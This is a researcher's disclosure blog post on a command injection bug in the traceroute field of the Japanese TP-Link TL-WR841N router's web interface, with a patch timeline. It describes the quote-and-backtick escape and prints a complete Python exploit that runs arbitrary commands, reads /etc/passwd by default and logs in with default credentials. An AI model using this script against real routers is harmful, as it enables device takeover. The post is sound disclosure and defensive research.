TP-Link TL-WR841N Command Injection Exploit (CVE-2020-35576)

Isopach · January 13, 2021

I was playing with my pet home router, when I noticed that a parameter seemed to be executed by some form of system(). I tried to escape it and got my first CVE!


CVE-2020-35576


Affected Firmware

TL-WR841N(JP)_V13_161028
<=0.9.1 4.0 v0188.0 Build 161028 Rel.66845n (latest at time of report)

CVSS Base Score: 7.2 AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Fixed Firmware

TL-WR841N(JP)_V13_201216

Date 2021-01-13
Release notes コマンドインジェクションの脆弱性を修正し、デバイスのセキュリティを強化しました。

Introduction

So, a quick introduction to this router. It was released in 2016 and has been a very popular and cheap ($15) router, ranking top in Amazon JP during that year and is still ranked 37 at time of report.

Although the American release had its latest patch in 2020-11, Japan was still lagging behind by 3 years. It is impossible to officially update the Japanese release of the TL-WR841N router with any overseas patch as the hardware had some region locks. It’s also interesting to note that there is no way of changing the language for this router, so people who bought it in Japan are stuck with the Japanese interface.

Bug Discovery via Traffic Analysis

I was playing around with the features when I noticed a system diagnostic tool that caught my attention. Ping and Traceroute features are often vulnerable and you can find many CVEs for them if you deal with IoT devices like Webcams and Smart Speakers. The challenge would be to escape the context into the system.

I noticed that when you use the Traceroute feature, a request was sent to the router:

[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8
maxHopCount=20
timeout=50
numberOfTries=1
host=127.0.0.1
dataBlockSize=64
X_TP_ConnName=ewan_ipoe_d
diagnosticsState=Requested
X_TP_HopSeq=0

This would return an [error]0 if it was successful, and a non-zero error code if it was not.

Following which, the client browser would send this request initiating the Traceroute function on the router:

[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0

The router would then reply [error]0 since there are no errors; to which the client browser would initiate the result request by sending the following payload:

[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3
diagnosticsState
X_TP_HopSeq
X_TP_Result

And then the router would reply with the following:

[0,0,0,0,0,0]0
diagnosticsState=Requested
X_TP_HopSeq=0
X_TP_Result={results}
[error]0

All of these requests are essentially user inputs being sent to the router. So we have control over 3 of the requests during the Traceroute call.

Given that we cannot know how the backend works without reversing the firmware, I resorted to using my homemade command injection fuzzer based on popular command injection escape symbols, such as these characters:

|  ; & $ > < ` \ !

Combining them with context escapes (" and/or ') with the assumption that the function call for this takes user input in the form of system("command"), I discovered that the host value in the first request of the Traceroute feature was vulnerable.

Hence I moved on to writing a functionable exploit code which I submitted to the Vendor as additional information.

The Exploit

I found that the traceroute command could be escaped with double quotes and a backtick, like this:

"`payload

We can mirror the quotes and backtick to prevent syntax error, but it doesn’t matter.

This is the full exploit script that should work with the default router configuration. Run the following code with your payload as argument to achieve arbitrary code execution using basic UNIX commands. Be warned that if you do an rm -rf or overwrite certain files, you will brick your router permanently and a hard reset will not restore it. You’ll have to buy a new one.

tplink-CVE-2020-35576.py

# Author: Koh You Liang (Isopach)
# Exploit Title: TP-Link TL-WR841N OS Command Injection Exploit
# Date: 2020-12-13
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://www.tp-link.com/jp/support/download/tl-wr841n/v13/#Firmware
# Version: TL-WR841N 0.9.1 4.0
# Tested on: Windows 10, macOS Mojave, Ubuntu 20.04.1 LTS
# CVE: CVE-2020-35576

import requests
import sys
import time

try:
    _ = sys.argv[2]
    payload = ' '.join(sys.argv[1:])
except IndexError:
    try:
        payload = sys.argv[1]
    except IndexError:
        print("[*] Command not specified, using the default `cat etc/passwd`")
        payload = 'cat etc/passwd'

# Default credentials is admin:admin - replace with your own
cookies = {
    'Authorization': 'Basic YWRtaW46YWRtaW4='
}

headers = {
    'Host': '192.168.0.1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0',
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'text/plain',
    'Content-Length': '197',
    'Origin': 'http://192.168.0.1',
    'Connection': 'close',
    'Referer': 'http://192.168.0.1/mainFrame.htm',
}

data1 = \
'''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\r\nmaxHopCount=20\r\ntimeout=50\r\nnumberOfTries=1\r\nhost="`{}`"\r\ndataBlockSize=64\r\nX_TP_ConnName=ewan_ipoe_d\r\ndiagnosticsState=Requested\r\nX_TP_HopSeq=0\r\n'''.format(payload)
response1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False)
print('[+] Sending payload...')

try:
    response1.text.splitlines()[0]
except IndexError:
    sys.exit('[-] Cannot get response. Please check your cookie.')
    
if response1.text.splitlines()[0] != '[error]0':
    sys.exit('[*] Router/Firmware is not vulnerable.')

data2 = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'
response2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False)
print('[+] Receiving response from router...')
time.sleep(0.8) # Buffer time for traceroute to succeed

data3 = '''[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\ndiagnosticsState\r\nX_TP_HopSeq\r\nX_TP_Result\r\n'''
response3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False)


if '=:' in response3.text.splitlines()[3]:
    print('[-] Command not supported.')
else:
    print('[+] Exploit successful!')
    for line_number, line in enumerate(response3.text.splitlines()):        
        try:
            if line_number == 3:
                print(line[12:])
            if line_number > 3 and line != '[error]0':
                print(line)
                if 'not known' in line:
                    break
        except IndexError:
            break


Afterthoughts

They say that the first one is always the hardest and I agree. I never thought I’d ever get a CVE but as my friend said to me that if I stopped playing games for 1 week I’d easily get one. And so I did as he said and got it after a day of tinkering.

I also would like to thank my company, 3-shake and Sreake Security for letting me do whatever I want during work which resulted in me finding stuff like this.

Timeline

TP-Link replied faster than most bug bounty programs that I have worked with and they published an updated firmware very quickly. I had an enjoyable time working with them.

2020-12-14 19:27:15 JST - Reported to Vendor (security[at]tp-link.com)
2020-12-15 18:33:09 JST - Vendor acknowledgement and reply
2020-12-15 22:11:31 JST - CVE Requested from Mitre
2020-12-18 20:33:37 JST - Sent additional details about impact to Vendor
2020-12-20 14:31:57 JST - CVE-2020-35576 assigned by Mitre
2020-12-21 12:10:57 JST - Informed Vendor about CVE assignment and attack scenario
2020-12-21 14:57:08 JST - Vendor replied saying they will release a new firmware
2020-12-21 15:29:10 JST - Acknowledgement and asked for estimate of release date
2020-12-31 18:57:06 JST - Vendor sent me beta firmware
2021-01-02 11:36:58 JST - Replied to Vendor confirming fixes
2021-01-13 12:39:06 JST - Vendor released updated firmware
2021-01-13 13:28:00 JST - Blog post published


Twitter, Facebook